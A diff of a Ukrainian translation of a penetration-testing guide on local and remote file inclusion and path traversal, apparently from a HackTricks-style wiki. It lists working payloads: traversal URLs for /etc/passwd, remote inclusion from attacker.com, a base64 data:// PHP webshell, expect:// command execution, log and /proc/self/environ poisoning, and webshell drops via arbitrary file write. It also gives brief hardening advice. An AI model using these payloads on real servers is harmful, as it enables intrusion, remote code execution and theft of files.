+Список, який використовує кілька технік для знаходження файлу /etc/password (щоб перевірити наявність вразливості), можна знайти [тут](https://github.com/xmendez/wfuzz/blob/master/wordlist/vulns/dirTraversal-nix.txt)
### **Windows**
-Об'єднання різних wordlists:
+Комбінація різних wordlists:
{{#ref}}
@@ -41,17 +41,17 @@ https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/file_inclusion
{{#endref}}
Спробуйте також змінити `/` на `\`\
-Спробуйте також видалити `C:/` та додати `../../../../../`
+Спробуйте також видалити `C:/` і додати `../../../../../`
-Список, який використовує кілька технік для пошуку файлу /boot.ini (щоб перевірити, чи існує вразливість), можна знайти [тут](https://github.com/xmendez/wfuzz/blob/master/wordlist/vulns/dirTraversal-win.txt)
+Список, який використовує кілька технік для знаходження файлу /boot.ini (щоб перевірити наявність вразливості), можна знайти [тут](https://github.com/xmendez/wfuzz/blob/master/wordlist/vulns/dirTraversal-win.txt)
### **OS X**
-Перегляньте LFI список linux.
+Перевірте LFI список linux.
-## Основи LFI та методи обходу
+## Базовий LFI та способи обходу
-Усі приклади стосуються Local File Inclusion, але також можуть бути застосовані до Remote File Inclusion (page=[http://myserver.com/phpshellcode.txt\\]().
+Всі приклади стосуються Local File Inclusion, але можуть також застосовуватися до Remote File Inclusion (page=[http://myserver.com/phpshellcode.txt\\]().
```
http://example.com/index.php?page=../../../etc/passwd
```
@@ -63,15 +63,15 @@ http://some.domain.com/static/%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c/etc/passwd
```
### **Null byte (%00)**
-Обхід додавання додаткових символів у кінець наданого рядка (обхід: $\_GET\['param']."php")
+Bypass додавання додаткових символів у кінець наданого рядка (bypass of: $\_GET\['param']."php")
```
http://example.com/index.php?page=../../../etc/passwd%00
```
-Це **вирішено починаючи з PHP 5.4**
+Це **вирішено з PHP 5.4**
### **Кодування**
-Ви можете використовувати нестандартні кодування, такі як double URL encode (та інші):
+Ви можете використовувати нестандартні кодування, такі як подвійне URL encode (та інші):
```
http://example.com/index.php?page=..%252f..%252f..%252fetc%252fpasswd
http://example.com/index.php?page=..%c0%af..%c0%af..%c0%afetc%c0%afpasswd
@@ -84,38 +84,38 @@ http://example.com/index.php?page=%252e%252e%252fetc%252fpasswd%00
```python
http://example.com/index.php?page=utils/scripts/../../../../../etc/passwd
```
-### Дослідження каталогів файлової системи на сервері
+### Дослідження директорій файлової системи на сервері
-Файлову систему сервера можна рекурсивно обстежити, щоб визначити каталоги, а не лише файли, використовуючи певні техніки. Процес включає визначення глибини директорії та перевірку наявності певних папок. Нижче наведено детальний метод, як це зробити:
+Файлову систему сервера можна рекурсивно досліджувати, щоб ідентифікувати директорії, а не лише файли, застосовуючи певні техніки. Цей процес включає визначення глибини директорії та перевірку наявності конкретних папок. Нижче наведено детальний метод для досягнення цього:
-1. **Determine Directory Depth:** Визначте глибину поточної директорії, успішно отримавши файл `/etc/passwd` (застосовно, якщо сервер базується на Linux). Приклад URL може бути побудований так, вказуючи глибину три:
+1. **Determine Directory Depth:** Встановіть глибину вашої поточної директорії, успішно отримавши файл `/etc/passwd` (застосовується, якщо сервер на базі Linux). Приклад URL може мати таку структуру, що вказує на глибину три:
```bash
http://example.com/index.php?page=../../../etc/passwd # depth of 3
```
-2. **Перевірте папки:** Додайте ім'я підозрюваної папки (наприклад, `private`) до URL, потім поверніться до `/etc/passwd`. Додатковий рівень директорії вимагає збільшення глибини на один:
+2. **Перевірка папок:** Додайте назву підозрілої папки (наприклад, `private`) до URL, потім поверніться до `/etc/passwd`. Додатковий рівень директорії вимагає збільшення глибини на один:
```bash
http://example.com/index.php?page=private/../../../../etc/passwd # depth of 3+1=4
```
3. **Інтерпретація результатів:** Відповідь сервера вказує, чи існує папка:
-- **Помилка / Відсутність виводу:** Папка `private` ймовірно не існує за вказаним шляхом.
+- **Помилка / Немає виводу:** Папка `private` ймовірно не існує за вказаним шляхом.
- **Вміст `/etc/passwd`:** Наявність папки `private` підтверджується.
-4. **Рекурсивне дослідження:** Виявлені папки можна додатково перевіряти на наявність підкаталогів або файлів, використовуючи ту ж техніку або традиційні Local File Inclusion (LFI) методи.
+4. **Рекурсивне дослідження:** Знайдені папки можна далі перевіряти на наявність підкаталогів або файлів, використовуючи ту ж саму техніку або традиційні методи Local File Inclusion (LFI).
-Для дослідження директорій у інших місцях файлової системи відкоригуйте payload відповідно. Наприклад, щоб перевірити, чи містить `/var/www/` папку `private` (припускаючи, що поточний каталог має глибину 3), використайте:
+Щоб досліджувати каталоги в інших місцях файлової системи, відповідно відкоригуйте payload. Наприклад, щоб перевірити, чи містить `/var/www/` каталог `private` (припускаючи, що поточний каталог знаходиться на глибині 3), використайте:
```bash
http://example.com/index.php?page=../../../var/www/private/../../../etc/passwd
```
### **Path Truncation Technique**
-Path truncation — метод, який застосовується для маніпуляції шляхами до файлів у веб-додатках. Часто його використовують для доступу до обмежених файлів, обходячи заходи безпеки, які додають додаткові символи в кінець шляхів до файлів. Мета — сформувати шлях до файлу так, щоб після змін заходами безпеки він все ще вказував на потрібний файл.
+Path truncation — метод, який використовується для маніпуляції file paths у веб‑застосунках. Його часто застосовують для доступу до обмежених файлів, обходячи заходи безпеки, що додають додаткові символи в кінець file paths. Мета — сформувати file path так, щоб після модифікації заходом безпеки він і надалі вказував на потрібний файл.
-У PHP різні представлення шляху до файлу можуть розглядатися як еквівалентні через характер файлової системи. Наприклад:
+У PHP різні представлення одного file path можуть вважатися еквівалентними через особливості файлової системи. Наприклад:
-- `/etc/passwd`, `/etc//passwd`, `/etc/./passwd`, і `/etc/passwd/` трактуються як один і той самий шлях.
-- Коли останні 6 символів — `passwd`, додавання `/` (утворюючи `passwd/`) не змінює цільовий файл.
-- Аналогічно, якщо до шляху додається `.php` (наприклад, `shellcode.php`), додавання `/.` наприкінці не змінює доступний файл.
+- `/etc/passwd`, `/etc//passwd`, `/etc/./passwd`, and `/etc/passwd/` трактуються як один і той самий file path.
+- Якщо останні 6 символів — `passwd`, додавання `/` (утворюючи `passwd/`) не змінює цільовий файл.
+- Аналогічно, якщо до file path додається `.php` (наприклад `shellcode.php`), додавання `/.` у кінці не змінить файл, до якого здійснюється доступ.
-Наведені приклади демонструють, як використовувати path truncation для доступу до `/etc/passwd` — частої цілі через її чутливий вміст (інформація про облікові записи користувачів):
+Наведені приклади демонструють, як використовувати path truncation для доступу до `/etc/passwd` — поширеної цілі через її чутливий вміст (інформація про облікові записи користувачів):
```
http://example.com/index.php?page=a/../../../../../../../../../etc/passwd......[ADD MORE]....
http://example.com/index.php?page=a/../../../../../../../../../etc/passwd/././.[ADD MORE]/././.
@@ -125,11 +125,11 @@ http://example.com/index.php?page=a/../../../../../../../../../etc/passwd/././.[
http://example.com/index.php?page=a/./.[ADD MORE]/etc/passwd
http://example.com/index.php?page=a/../../../../[ADD MORE]../../../../../etc/passwd
```
-У цих сценаріях кількість необхідних `../` послідовностей може становити близько 2027, але це число може змінюватися залежно від конфігурації сервера.
+У цих сценаріях кількість необхідних переходів може становити близько 2027, але це число може змінюватися залежно від конфігурації сервера.
-- **Using Dot Segments and Additional Characters**: Послідовності (`../`) у поєднанні з додатковими крапковими сегментами та символами можуть використовуватися для навігації по файловій системі, фактично ігноруючи додані сервером рядки.
-- **Determining the Required Number of Traversals**: Шляхом проб і помилок можна визначити точну кількість `../` послідовностей, необхідних для виходу до кореневого каталогу, а потім до `/etc/passwd`, гарантуючи, що будь-які додані рядки (наприклад, `.php`) будуть нейтралізовані, але бажаний шлях (`/etc/passwd`) залишиться незмінним.
-- **Starting with a Fake Directory**: Зазвичай шлях починають з неіснуючого каталогу (наприклад, `a/`). Ця техніка використовується як запобіжний захід або щоб виконати вимоги логіки розбору шляхів на сервері.
+- **Using Dot Segments and Additional Characters**: Послідовності (`../`) у поєднанні з додатковими сегментами крапок та символами можна використовувати для навігації файловою системою, фактично ігноруючи рядки, які додає сервер.
+- **Determining the Required Number of Traversals**: Методом спроб і помилок можна визначити точну кількість послідовностей `../`, необхідних щоб дістатися до кореневого каталогу й потім до `/etc/passwd`, забезпечивши нейтралізацію будь-яких доданих рядків (наприклад `.php`), але при цьому збереження бажаного шляху (`/etc/passwd`).
+- **Starting with a Fake Directory**: Це загально прийнята практика — починати шлях із неіснуючого каталогу (наприклад `a/`). Ця техніка використовується як запобіжний захід або щоб виконати вимоги логіки розбору шляху сервером.
When employing path truncation techniques, it's crucial to understand the server's path parsing behavior and filesystem structure. Each scenario might require a different approach, and testing is often necessary to find the most effective method.
@@ -145,45 +145,45 @@ http://example.com/index.php?page=PhP://filter
```
## Remote File Inclusion
-У php це вимкнено за замовчуванням, оскільки **`allow_url_include`** встановлено в **Off.** Його потрібно встановити в **On**, щоб це працювало, і в такому випадку ви можете include PHP-файл з вашого server і отримати RCE:
+У php це вимкнено за замовчуванням, тому що **`allow_url_include`** встановлено в **Off.** Воно має бути **On**, щоб працювати, і в такому випадку ви можете підключити PHP-файл з вашого сервера і отримати RCE:
```python
http://example.com/index.php?page=http://atacker.com/mal.php
http://example.com/index.php?page=\\attacker.com\shared\mal.php
```
-Якщо з якоїсь причини **`allow_url_include`** є **On**, але PHP **фільтрує** доступ до зовнішніх веб-сторінок, [згідно з цією публікацією](https://matan-h.com/one-lfi-bypass-to-rule-them-all-using-base64/), ви можете, наприклад, використати data protocol з base64, щоб декодувати b64 PHP code і egt RCE:
+Якщо з якоїсь причини **`allow_url_include`** встановлено в **On**, але PHP фільтрує доступ до зовнішніх веб-сторінок, [згідно з цим дописом](https://matan-h.com/one-lfi-bypass-to-rule-them-all-using-base64/), ви можете, наприклад, використати протокол data з base64, щоб декодувати b64 PHP-код і отримати RCE:
```
PHP://filter/convert.base64-decode/resource=data://plain/text,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4+.txt
```
> [!TIP]
-> У попередньому коді кінцевий `+.txt` був доданий, тому що атакуючий потребував рядка, який закінчується на `.txt`, тож рядок закінчується ним, і після b64 decode ця частина поверне лише сміття, а справжній PHP-код буде включено (і, отже, виконано).
-
-Інший приклад **не використовуючи протокол `php://`** був би:
+> У попередньому коді фінальна `+.txt` була додана тому, що attacker потребував рядка, який закінчується на `.txt`, тож рядок закінчується ним і після b64 decode ця частина поверне лише сміття, а справжній PHP code буде включений (і, отже, виконаний).
+>
+> Інший приклад **без використання протоколу `php://`** виглядатиме так:
```
data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4+txt
```
## Python кореневий елемент
-У python у коді, як-от цьому:
+У python у коді, як у цьому:
```python
# file_name is controlled by a user
os.path.join(os.getcwd(), "public", file_name)
```
-Якщо користувач передає **абсолютний шлях** до **`file_name`**, **попередній шлях просто видаляється**:
+Якщо користувач передає **absolute path** в **`file_name`**, **попередній шлях просто видаляється**:
```python
os.path.join(os.getcwd(), "public", "/etc/passwd")
'/etc/passwd'
```
Це очікувана поведінка згідно з [the docs](https://docs.python.org/3.10/library/os.path.html#os.path.join):
-> Якщо компонент є абсолютним шляхом, усі попередні компоненти відкидаються і об'єднання продовжується з компонента абсолютного шляху.
+> Якщо компонент є абсолютним шляхом, всі попередні компоненти відкидаються, і об'єднання продовжується від компонента з абсолютним шляхом.
-## Java: перелік директорій
+## Java: перерахування директорій
-Схоже, якщо у вас є Path Traversal у Java і ви **запитуєте директорію** замість файлу, то **повертається перелік вмісту директорії**. За інших мов це, наскільки мені відомо, не трапляється.
+Здається, якщо у вас є Path Traversal у Java і ви **запитуєте директорію** замість файлу, то **повертається перелік вмісту директорії**. Це не відбувається в інших мовах (наскільки мені відомо).
-## Топ-25 параметрів
+## Топ 25 параметрів
-Ось список топ-25 параметрів, які можуть бути вразливими до local file inclusion (LFI) (з [link](https://twitter.com/trbughunters/status/1279768631845494787)):
+Ось список топ 25 параметрів, які можуть бути вразливими до local file inclusion (LFI) (з [link](https://twitter.com/trbughunters/status/1279768631845494787)):
```
?cat={payload}
?dir={payload}
@@ -211,38 +211,38 @@ os.path.join(os.getcwd(), "public", "/etc/passwd")
?mod={payload}
?conf={payload}
```
-## LFI / RFI з використанням PHP wrappers & protocols
+## LFI / RFI за допомогою PHP обгорток і протоколів
### php://filter
-PHP filters дозволяють виконувати базові **операції модифікації даних** перед тим, як вони будуть прочитані або записані. Існує 5 категорій фільтрів:
+PHP-фільтри дозволяють виконувати базові операції з **модифікації даних** перед тим, як вони будуть прочитані або записані. Існує 5 категорій фільтрів:
- [String Filters](https://www.php.net/manual/en/filters.string.php):
- `string.rot13`
- `string.toupper`
- `string.tolower`
-- `string.strip_tags`: Видаляє теги з даних (усе між символами "<" і ">")
-- Зверніть увагу, що цей фільтр зник у сучасних версіях PHP
+- `string.strip_tags`: Remove tags from the data (everything between "<" and ">" chars)
+- Note that this filter has disappear from the modern versions of PHP
- [Conversion Filters](https://www.php.net/manual/en/filters.convert.php)
- `convert.base64-encode`
- `convert.base64-decode`
- `convert.quoted-printable-encode`
- `convert.quoted-printable-decode`
-- `convert.iconv.*` : Перетворює у іншу кодування (`convert.iconv..`). Щоб отримати **список усіх підтримуваних кодувань**, виконайте в консолі: `iconv -l`
+- `convert.iconv.*` : Перетворює в інше кодування (`convert.iconv..`). Щоб отримати **список усіх кодувань**, що підтримуються, виконайте в консолі: `iconv -l`
> [!WARNING]
-> Зловживши фільтром конвертації `convert.iconv.*`, ви можете **згенерувати довільний текст**, що може бути корисно для запису довільного тексту або змусити функцію на кшталт include обробляти довільний текст. Для отримання додаткової інформації див. [**LFI2RCE via php filters**](lfi2rce-via-php-filters.md).
+> Зловживання фільтром `convert.iconv.*` дозволяє **згенерувати довільний текст**, що може бути корисним для запису довільного тексту або щоб функція на кшталт include обробляла довільний текст. Для додаткової інформації див. [**LFI2RCE via php filters**](lfi2rce-via-php-filters.md).
- [Compression Filters](https://www.php.net/manual/en/filters.compression.php)
-- `zlib.deflate`: Стискає вміст (корисно при exfiltrating великої кількості інформації)
-- `zlib.inflate`: Декомпресує дані
+- `zlib.deflate`: Compress the content (useful if exfiltrating a lot of info)
+- `zlib.inflate`: Decompress the data
- [Encryption Filters](https://www.php.net/manual/en/filters.encryption.php)
-- `mcrypt.*` : Застаріло
-- `mdecrypt.*` : Застаріло
-- Інші фільтри
-- Запустивши в PHP `var_dump(stream_get_filters());`, ви можете знайти кілька **неочікуваних фільтрів**:
+- `mcrypt.*` : Deprecated
+- `mdecrypt.*` : Deprecated
+- Other Filters
+- Running in php `var_dump(stream_get_filters());` you can find a couple of **unexpected filters**:
- `consumed`
-- `dechunk`: скасовує HTTP chunked encoding
+- `dechunk`: reverses HTTP chunked encoding
- `convert.*`
```php
# String Filters
@@ -275,35 +275,35 @@ readfile('php://filter/zlib.inflate/resource=test.deflated'); #To decompress the
### Використання php filters як oracle для читання довільних файлів
-[**In this post**](https://www.synacktiv.com/publications/php-filter-chains-file-read-from-error-based-oracle) запропоновано техніку читання локального файлу без повернення виводу від сервера. Ця техніка базується на **boolean exfiltration of the file (char by char) using php filters** як oracle. Це тому, що php filters можна використовувати, щоб зробити текст достатньо великим, щоб php згенерував виняток.
+[**У цьому дописі**](https://www.synacktiv.com/publications/php-filter-chains-file-read-from-error-based-oracle) пропонується техніка для читання локального файлу без повернення його вмісту від сервера. Ця техніка базується на **boolean exfiltration of the file (char by char) using php filters** як oracle. Це можливо тому, що php filters можуть використовуватись для збільшення тексту настільки, що php викине виняток.
-В оригінальному пості ви знайдете детальне пояснення техніки, але тут коротке резюме:
+У оригінальному дописі є детальне пояснення техніки, тут — коротке резюме:
-- Use the codec **`UCS-4LE`** to leave leading character of the text at the begging and make the size of string increases exponentially.
-- Це буде використано для генерації **тексту, настільки великого при правильному вгадуванні початкової літери**, що php викличе **помилку**
-- The **dechunk** filter will **remove everything if the first char is not an hexadecimal**, so we can know if the first char is hex.
-- Це, у поєднанні з попереднім (та іншими фільтрами залежно від вгаданої літери), дозволить нам вгадати літеру на початку тексту, спостерігаючи, коли ми зробили достатньо перетворень, щоб вона перестала бути an hexadecimal character. Тому що якщо hex, dechunk не видалить її і початкова бомба спричинить php error.
-- The codec **convert.iconv.UNICODE.CP930** transforms every letter in the following one (so after this codec: a -> b). This allow us to discovered if the first letter is an `a` for example because if we apply 6 of this codec a->b->c->d->e->f->g the letter isn't anymore a hexadecimal character, therefore dechunk doesn't deleted it and the php error is triggered because it multiplies with the initial bomb.
-- Використовуючи інші перетворення, як-от **rot13** на початку, можна leak інші символи, такі як n, o, p, q, r (і інші codecs можна використовувати для переміщення інших літер у hex діапазон).
-- When the initial char is a number it’s needed to base64 encode it and leak the 2 first letters to leak the number.
-- Остаточна проблема — побачити **how to leak more than the initial letter**. Використовуючи order memory filters, як-от **convert.iconv.UTF16.UTF-16BE, convert.iconv.UCS-4.UCS-4LE, convert.iconv.UCS-4.UCS-4LE**, можливо змінити порядок символів і помістити на першу позицію інші літери тексту.
-- And in order to be able to obtain **further data** the idea if to **generate 2 bytes of junk data at the beginning** with **convert.iconv.UTF16.UTF16**, apply **UCS-4LE** to make it **pivot with the next 2 bytes**, and **видалити дані до сміттєвих даних** (this will remove the first 2 bytes of the initial text). Continue doing this until you reach the disired bit to leak.
+- Використати codec **`UCS-4LE`**, щоб залишити провідний символ тексту на початку і зробити розмір рядка експоненційно більшим.
+- Це використовується для генерації **дуже великого тексту, коли початкова літера вгадана правильно**, так що php викличе **помилку**
+- Фільтр **dechunk** **видалить все, якщо перший символ не є шістнадцятковим**, тому ми можемо визначити, чи перший символ є hex.
+- Це, у поєднанні з попереднім (і іншими фільтрами залежно від вгаданої літери), дозволить нам вгадати літеру на початку тексту, спостерігаючи, коли достатньо трансформацій робить її не шістнадцятковим символом. Тому що якщо hex, dechunk його не видалить і початкова бомба викличе помилку php.
+- Кодек **convert.iconv.UNICODE.CP930** перетворює кожну літеру в наступну (тому після цього codec: a -> b). Це дозволяє виявити, чи початкова літера — наприклад, `a`, бо якщо застосувати 6 таких codec: a->b->c->d->e->f->g, літера більше не буде шістнадцятковим символом, отже dechunk її не видалить і php-помилка спрацює через множення початкової бомби.
+- Використовуючи інші трансформації, як **rot13** на початку, possible to leak інші символи як n, o, p, q, r (і інші codecs можуть бути використані для переміщення інших літер в діапазон hex).
+- Коли початковий символ — число, потрібно base64 encode його і leak перші 2 літери, щоб leak число.
+- Кінцева проблема — як leak більше ніж початкова літера. Використовуючи фільтри порядку байтів (order memory filters) такі як **convert.iconv.UTF16.UTF-16BE, convert.iconv.UCS-4.UCS-4LE, convert.iconv.UCS-4.UCS-4LE** можна змінити порядок символів і помістити на першу позицію інші літери тексту.
+- А щоб отримати further data ітидея в тому, щоб **згенерувати 2 байти junk даних на початку** за допомогою **convert.iconv.UTF16.UTF16**, застосувати **UCS-4LE** щоб вони **pivot з наступними 2 байтами**, та d**elete дані до junk даних** (це видалить перші 2 байти початкового тексту). Продовжувати це робити, поки не досягнете бажаного біта для leak.
-In the post a tool to perform this automatically was also leaked: [php_filters_chain_oracle_exploit](https://github.com/synacktiv/php_filter_chains_oracle_exploit).
+У дописі також був leaked інструмент для автоматизації: [php_filters_chain_oracle_exploit](https://github.com/synacktiv/php_filter_chains_oracle_exploit).
### php://fd
-This wrapper allows to access file descriptors that the process has open. Potentially useful to exfiltrate the content of opened files:
+Цей wrapper дозволяє отримати доступ до file descriptors, які процес має відкритими. Потенційно корисно для exfiltrate вмісту відкритих файлів:
```php
echo file_get_contents("php://fd/3");
$myfile = fopen("/etc/passwd", "r");
```
-Ви також можете використовувати **php://stdin, php://stdout та php://stderr** для доступу до **файлових дескрипторів 0, 1 і 2** відповідно (не впевнений, як це може бути корисним в атаці)
+Ви також можете використовувати **php://stdin, php://stdout and php://stderr** для доступу до **file descriptors 0, 1 and 2** відповідно (не впевнений, як це може бути корисним у атаці)
-### zip:// та rar://
+### zip:// and rar://
-Завантажте файл Zip або Rar з PHPShell всередині та отримайте до нього доступ.\
-Щоб мати змогу зловживати rar protocol, його **потрібно спеціально активувати**.
+Завантажте Zip або Rar файл з PHPShell всередині та отримайте до нього доступ.\
+Щоб мати змогу зловживати протоколом rar, його **need to be specifically activated**.
```bash
echo "" > payload.php;
zip payload.zip payload.php;
@@ -332,20 +332,20 @@ NOTE: the payload is ""
### expect://
-Expect має бути активовано. Ви можете виконати код за допомогою цього:
+Expect має бути активований. Ви можете виконувати код за допомогою цього:
```
http://example.com/index.php?page=expect://id
http://example.com/index.php?page=expect://ls
```
### input://
-Вкажіть свій payload у параметрах POST:
+Вкажіть payload у POST parameters:
```bash
curl -XPOST "http://example.com/index.php?page=php://input" --data ""
```
### phar://
-Файл `.phar` може бути використаний для виконання PHP-коду, коли веб-застосунок використовує функції на кшталт `include` для завантаження файлів. Наведений нижче фрагмент PHP-коду показує створення файлу `.phar`:
+Файл `.phar` може бути використаний для виконання PHP-коду, коли вебзастосунок використовує функції, такі як `include`, для завантаження файлів. Наведений нижче фрагмент PHP-коду демонструє створення `.phar` файлу:
```php
[!WARNING]
-> Ця техніка релевантна у випадках, коли ви **контролюєте** **file path** **PHP function**, яка буде **access a file**, але ви не побачите вміст файлу (наприклад простий виклик **`file()`**), і вміст не показується.
+> Ця техніка релевантна у випадках, коли ви **контролюєте** **file path** для **PHP function**, яка буде **access a file**, але ви не побачите вміст файлу (наприклад простий виклик **`file()`**), оскільки вміст не відображається.
-In [**this incredible post**](https://www.synacktiv.com/en/publications/php-filter-chains-file-read-from-error-based-oracle.html) it's explained how a blind path traversal can be abused via PHP filter to **exfiltrate the content of a file via an error oracle**.
+В [**цьому чудовому пості**](https://www.synacktiv.com/en/publications/php-filter-chains-file-read-from-error-based-oracle.html) пояснюється, як blind path traversal можна зловживати через PHP filter, щоб **exfiltrate the content of a file via an error oracle**.
-У підсумку, техніка використовує **"UCS-4LE" encoding** щоб зробити вміст файлу настільки **big**, що **PHP function opening** файл спричинить **помилку**.
+У підсумку, техніка використовує **"UCS-4LE" encoding**, щоб зробити вміст файлу настільки **великим**, що **PHP function opening** файл викличе **error**.
-Потім, щоб leak the first char, використовується фільтр **`dechunk`** разом з іншими, такими як **base64** або **rot13**, і нарешті застосовуються фільтри **convert.iconv.UCS-4.UCS-4LE** та **convert.iconv.UTF16.UTF-16BE** щоб **place other chars at the beggining and leak them**.
+Потім, щоб leak перший символ, використовується фільтр **`dechunk`** разом з іншими, такими як **base64** або **rot13**, і нарешті використовуються фільтри **convert.iconv.UCS-4.UCS-4LE** та **convert.iconv.UTF16.UTF-16BE**, щоб **place other chars at the beggining and leak them**.
**Functions that might be vulnerable**: `file_get_contents`, `readfile`, `finfo->file`, `getimagesize`, `md5_file`, `sha1_file`, `hash_file`, `file`, `parse_ini_file`, `copy`, `file_put_contents (only target read only with this)`, `stream_get_contents`, `fgets`, `fread`, `fgetc`, `fgetcsv`, `fpassthru`, `fputs`
@@ -427,20 +427,20 @@ For the technical details check the mentioned post!
### Arbitrary File Write via Path Traversal (Webshell RCE)
-When server-side code that ingests/uploads files builds the destination path using user-controlled data (e.g., a filename or URL) without canonicalising and validating it, `..` segments and absolute paths can escape the intended directory and cause an arbitrary file write. If you can place the payload under a web-exposed directory, you usually get unauthenticated RCE by dropping a webshell.
+Коли серверний код, який приймає/завантажує файли, будує шлях призначення з даних під контролем користувача (наприклад, filename або URL) без канонізації та валідації, сегменти `..` і абсолютні шляхи можуть вийти за межі призначеної директорії і спричинити arbitrary file write. Якщо ви можете помістити payload у web-exposed directory, зазвичай отримуєте unauthenticated RCE, закинувши webshell.
-Typical exploitation workflow:
-- Identify a write primitive in an endpoint or background worker that accepts a path/filename and writes content to disk (e.g., message-driven ingestion, XML/JSON command handlers, ZIP extractors, etc.).
-- Determine web-exposed directories. Common examples:
+Типовий робочий процес експлуатації:
+- Виявити write primitive в endpoint або background worker, який приймає path/filename і записує вміст на диск (наприклад, message-driven ingestion, XML/JSON command handlers, ZIP extractors тощо).
+- Визначити web-exposed directories. Поширені приклади:
- Apache/PHP: `/var/www/html/`
- Tomcat/Jetty: `/webapps/ROOT/` → drop `shell.jsp`
- IIS: `C:\inetpub\wwwroot\` → drop `shell.aspx`
-- Craft a traversal path that breaks out of the intended storage directory into the webroot, and include your webshell content.
-- Browse to the dropped payload and execute commands.
+- Сконструювати traversal path, який виходить з призначеного storage directory у webroot, і включити в нього вміст webshell.
+- Відкрити dropped payload у браузері та виконати команди.
-Notes:
-- The vulnerable service that performs the write may listen on a non-HTTP port (e.g., a JMF XML listener on TCP 4004). The main web portal (different port) will later serve your payload.
-- On Java stacks, these file writes are often implemented with simple `File`/`Paths` concatenation. Lack of canonicalisation/allow-listing is the core flaw.
+Примітки:
+- Уразливий сервіс, що виконує запис, може слухати на порту, відмінному від HTTP (наприклад, JMF XML listener на TCP 4004). Головний веб-портал (інший порт) пізніше буде слугувати вашому payload.
+- У Java-стеках ці операції запису файлів часто імплементовані простим конкатенуванням `File`/`Paths`. Відсутність канонізації/allow-listing — основний недолік.
Generic XML/JMF-style example (product schemas vary – the DOCTYPE/body wrapper is irrelevant for the traversal):
```xml
@@ -466,26 +466,25 @@ in.transferTo(out);
```
-Методи захисту, що нейтралізують цей клас вразливостей:
-- Розв'язувати у канонічний шлях і забезпечувати, що він є нащадком дозволеного базового каталогу.
-- Відхиляти будь-який шлях, що містить `..`, абсолютні корені або літери дисків; віддавати перевагу згенерованим іменам файлів.
-- Запускати writer під обліковим записом з мінімальними привілеями та розділяти директорії для запису від коренів, що обслуговуються.
+Заходи жорсткого захисту, які нейтралізують цей клас вразливостей:
+- Нормалізуйте шлях до канонічної форми і переконайтеся, що він є нащадком дозволеного базового каталогу.
+- Відхиляйте будь-який шлях, що містить `..`, абсолютні корені або літеру диска; надавайте перевагу згенерованим іменам файлів.
+- Запускайте процес запису від імені облікового запису з низькими привілеями і відокремлюйте каталоги для запису від коренів, що обслуговуються.
## Remote File Inclusion
-Explained previously, [**follow this link**](#remote-file-inclusion).
+Пояснювалося раніше, [**follow this link**](#remote-file-inclusion).
-### Через лог-файл Apache/Nginx
+### Через Apache/Nginx log file
-Якщо сервер Apache або Nginx є **vulnerable to LFI** всередині функції include, ви можете спробувати отримати доступ до **`/var/log/apache2/access.log` or `/var/log/nginx/access.log`**, записати в **user agent** або в **GET parameter** php shell типу **``** і include-нути цей файл
+Якщо сервер Apache або Nginx **вразливий до LFI** у функції include, ви можете спробувати отримати доступ до **`/var/log/apache2/access.log` або `/var/log/nginx/access.log`**, записати в **user agent** або в **GET parameter** php shell, наприклад **``**, і включити цей файл
> [!WARNING]
-> Зверніть увагу, що **якщо ви використовуєте подвійні лапки** для shell замість **простих лапок**, подвійні лапки будуть змінені на рядок "_**quote;**_", **PHP згенерує помилку** і **нічого іншого не буде виконано**.
+> Зверніть увагу, що **якщо ви використовуєте двійні лапки** для shell замість **одинарних**, двійні лапки будуть змінені на рядок "_**quote;**_", **PHP викине помилку** там і **нічого іншого не буде виконано**.
>
-> Також переконайтеся, що ви **правильно записали payload**, інакше PHP буде давати помилку щоразу при спробі завантажити файл журналу і у вас не буде другої можливості.
+> Також переконайтеся, що ви **правильно формуєте payload**, інакше PHP видаватиме помилку щоразу, коли спробує завантажити лог-файл, і у вас не буде другої можливості.
-Це також можна зробити в інших логах, але **будьте обережні,** код всередині логів може бути URL encoded і це може зруйнувати Shell. Заголовок **authorisation "basic"** містить "user:password" в Base64 і він декодується всередині логів. PHPShell можна вставити всередину цього заголовка.\
-Інші можливі шляхи логів:
+Це також може бути зроблено в інших логах, але **обережно,** код всередині логів може бути URL encoded і це може зіпсувати Shell. Заголовок **authorisation "basic"** містить "user:password" у Base64 і він декодується всередині логів. PHPShell could be inserted inside this header.\ Other possible log paths:
```python
/var/log/apache2/access.log
/var/log/apache/access.log
@@ -499,33 +498,33 @@ Explained previously, [**follow this link**](#remote-file-inclusion).
```
Fuzzing wordlist: [https://github.com/danielmiessler/SecLists/tree/master/Fuzzing/LFI](https://github.com/danielmiessler/SecLists/tree/master/Fuzzing/LFI)
-### Via Email
+### Через Email
-**Send a mail** to a internal account (user@localhost) containing your PHP payload like `` and try to include to the mail of the user with a path like **`/var/mail/`** or **`/var/spool/mail/`**
+**Надішліть лист** to a internal account (user@localhost) containing your PHP payload like `` and try to include to the mail of the user with a path like **`/var/mail/`** or **`/var/spool/mail/`**
-### Via /proc/\*/fd/\*
+### Через /proc/*/fd/*
-1. Завантажте багато shells (наприклад: 100)
-2. Include [http://example.com/index.php?page=/proc/$PID/fd/$FD](http://example.com/index.php?page=/proc/$PID/fd/$FD), де $PID — PID процесу (можна brute force), а $FD — дескриптор файлу (також можна brute force)
+1. Завантажте багато shells (for example : 100)
+2. Include [http://example.com/index.php?page=/proc/$PID/fd/$FD](http://example.com/index.php?page=/proc/$PID/fd/$FD), with $PID = PID of the process (can be brute forced) and $FD the file descriptor (can be brute forced too)
-### Via /proc/self/environ
+### Через /proc/self/environ
-Як і з лог-файлом, відправте payload у User-Agent — він відобразиться всередині файлу /proc/self/environ
+Як із лог-файлом, відправте payload в User-Agent — він відобразиться у файлі /proc/self/environ
```
GET vulnerable.php?filename=../../../proc/self/environ HTTP/1.1
User-Agent: =phpinfo(); ?>
```
### Через upload
-Якщо ви можете upload файл, просто inject shell payload в нього (e.g : `` ).
+Якщо ви можете upload файл, просто inject the shell payload у нього (e.g : `` ).
```
http://example.com/index.php?page=path/to/uploaded/file.png
```
-Щоб файл залишався читабельним, найкраще вбудувати його в метадані зображень/документів/pdf
+Щоб файл залишався читабельним, найкраще вбудовувати інформацію в метадані зображень/doc/pdf
-### Через завантаження ZIP файлу
+### Через Zip file upload
-Завантажте ZIP файл, що містить стиснутий PHP shell, і отримайте доступ:
